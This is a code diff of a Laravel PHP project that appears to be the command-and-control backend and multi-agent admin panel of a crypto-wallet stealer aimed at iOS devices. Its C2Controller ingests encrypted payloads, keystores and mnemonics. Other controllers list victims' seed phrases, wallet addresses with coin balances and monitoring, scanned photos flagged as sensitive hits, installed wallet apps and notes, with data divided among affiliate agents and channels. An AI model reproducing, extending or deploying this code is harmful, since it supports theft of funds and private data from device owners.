'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
||||
'sha256' => $photo->sha256 ?: '',
|
||||
'size' => $photo->size,
|
||||
'x_hit' => $photo->x_hit,
|
||||
'upload_count' => $photo->upload_count,
|
||||
'process_index' => $photo->process_index,
|
||||
'text_count' => $photo->text_count,
|
||||
'barcode_count' => $photo->barcode_count,
|
||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q = $device->addresses();
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
if ($source !== '') {
|
||||
$q->where('source', $source);
|
||||
}
|
||||
$chainType = trim((string) $request->query('chain_type', ''));
|
||||
if ($chainType !== '') {
|
||||
$q->where('chain_type', $chainType);
|
||||
}
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'source' => $addr->source ?: '',
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'address' => $addr->address,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source' => $w->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'is_wallet';
|
||||
$order = 'desc';
|
||||
}
|
||||
$q = $device->apps();
|
||||
if ($field === 'is_wallet') {
|
||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||
} else {
|
||||
$q->orderBy($field, $order);
|
||||
}
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (DeviceApp $app) {
|
||||
return [
|
||||
'id' => $app->id,
|
||||
'name' => $app->name ?: '',
|
||||
'bundle_id' => $app->bundle_id ?: '',
|
||||
'version' => $app->version ?: '',
|
||||
'is_wallet' => (bool) $app->is_wallet,
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (Note $note) {
|
||||
$content = $note->content;
|
||||
if (is_array($content)) {
|
||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $note->id,
|
||||
'content' => $content ?: '',
|
||||
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'event_name', 'desc', 'created_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
|
||||
return [
|
||||
'id' => $ev->id,
|
||||
'event_name' => $ev->event_name ?: '',
|
||||
'desc' => $ev->desc ?: '',
|
||||
'context' => $ev->context_json
|
||||
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
: '',
|
||||
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
*/
|
||||
private function layuiPage(int $count, $data)
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $count,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'agent_user_id' => (int) $request->query('agent_user_id', 0),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
$q = Device::query()->select('devices.*');
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
||||
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||
}
|
||||
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class MnemonicController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletMnemonic::query()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.mnemonics.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletMnemonic::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||
->select([
|
||||
'wallet_mnemonics.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_mnemonics.source', $source);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Note;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class NoteController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.notes.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('notes.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$content = $row->content;
|
||||
if (is_array($content)) {
|
||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'content' => $content ?: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = Note::query()
|
||||
->join('devices', 'devices.id', '=', 'notes.device_id')
|
||||
->select([
|
||||
'notes.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class PhotoController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.photos.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'size', 'x_hit', 'created_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('photos.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
|
||||
'size' => $row->size,
|
||||
'x_hit' => $row->x_hit,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = Photo::query()
|
||||
->join('devices', 'devices.id', '=', 'photos.device_id')
|
||||
->select([
|
||||
'photos.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('photos.x_hit', '>', 0);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemSettingsController extends Controller
|
||||
{
|
||||
public function index(SettingsService $settings)
|
||||
{
|
||||
return view('admin.system.settings', [
|
||||
'form' => $settings->effectiveForForm(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, SettingsService $settings)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
|
||||
'channels_domains' => ['nullable', 'string', 'max:4000'],
|
||||
]);
|
||||
|
||||
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
|
||||
|
||||
$settings->putMany([
|
||||
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
||||
? (string) $data['channels_max_per_agent']
|
||||
: null,
|
||||
// Persist normalized comma-separated list (empty clears override to []).
|
||||
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已保存']);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletAddress::query()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.addresses.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_addresses.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
/** @var WalletAddress $row */
|
||||
$coins = $row->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'monitor' => (int) $row->monitor,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, WalletAddress $address)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'monitor' => ['required', 'integer', 'in:0,1'],
|
||||
]);
|
||||
|
||||
$allowed = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->where('wallet_addresses.id', $address->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
if (! $allowed->exists()) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$address->monitor = (int) $data['monitor'];
|
||||
$address->save();
|
||||
|
||||
try {
|
||||
app(TokenviewMonitorService::class)->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->select([
|
||||
'wallet_addresses.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_addresses.source', $source);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('agent')->check()) {
|
||||
return redirect()->route('user.home');
|
||||
}
|
||||
|
||||
return view('user.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('user.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = User::query()->where('username', $credentials['username'])->first();
|
||||
if ($user && ! $user->isEnabled()) {
|
||||
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
|
||||
}
|
||||
|
||||
if (Auth::guard('agent')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('user.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('agent')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('user.login');
|
||||
}
|
||||
}
|
||||
@@ -68,11 +68,7 @@ class C2Controller extends Controller
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
// keystore-ish blobs
|
||||
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
@@ -94,7 +90,7 @@ class C2Controller extends Controller
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
@@ -130,13 +126,16 @@ class C2Controller extends Controller
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$counters = [
|
||||
'count' => $request->input('count'),
|
||||
'total' => $request->input('total'),
|
||||
'index' => $request->input('index'),
|
||||
'batchBase' => $batchBase,
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $request->input('x-hit'),
|
||||
$xHitRaw = $request->input('x-hit');
|
||||
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||
$photoMeta = [
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $uploadCount,
|
||||
'process_index' => $processIndex,
|
||||
'text_count' => $textCount,
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
@@ -147,7 +146,7 @@ class C2Controller extends Controller
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
@@ -159,7 +158,13 @@ class C2Controller extends Controller
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'counters' => $counters,
|
||||
